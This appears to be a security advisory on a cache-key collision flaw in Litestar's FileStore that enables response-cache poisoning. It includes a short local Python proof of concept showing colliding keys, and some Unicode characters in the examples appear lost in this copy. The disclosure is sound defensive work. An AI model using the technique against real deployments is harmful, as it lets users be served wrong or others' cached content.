Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)
Summary
FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)
Details
litestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize("NFKD", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).
This transformation is not injective, e.g.:
- "k-" and "k45" both become "k45" (because - ord('-') == 45)
- "k/\n" becomes "k4710", colliding with "k4710"
- "K" (Kelvin sign) normalizes to "K", colliding with "K"
When used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.
PoC
```
import asyncio, tempfile
from litestar.stores.file import FileStore
async def main():
d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
store = FileStore(d, create_directories=True)
await store.__aenter__()
# 1) ASCII ord-collision: "-" -> 45
await store.set("k-", b"A")
v = await store.get("k45")
print("k- ->", v)
print("k45 ->", await store.get("k45"))
if v == b"A":
print("VULNERABLE: 'k-' collides with 'k45'")
# 2) NFKD collision: Kelvin sign -> K
await store.set("K", b"B") # U+212A
v2 = await store.get("K")
print("K ->", await store.get("K"))
print("K ->", v2)
if v2 == b"B":
print("VULNERABLE: 'K' collides with 'K' (NFKD)")
if __name__ == "__main__":
asyncio.run(main())
```
Impact
Vulnerability type: cache poisoning / cache key collision.
Impacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).
Possible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.
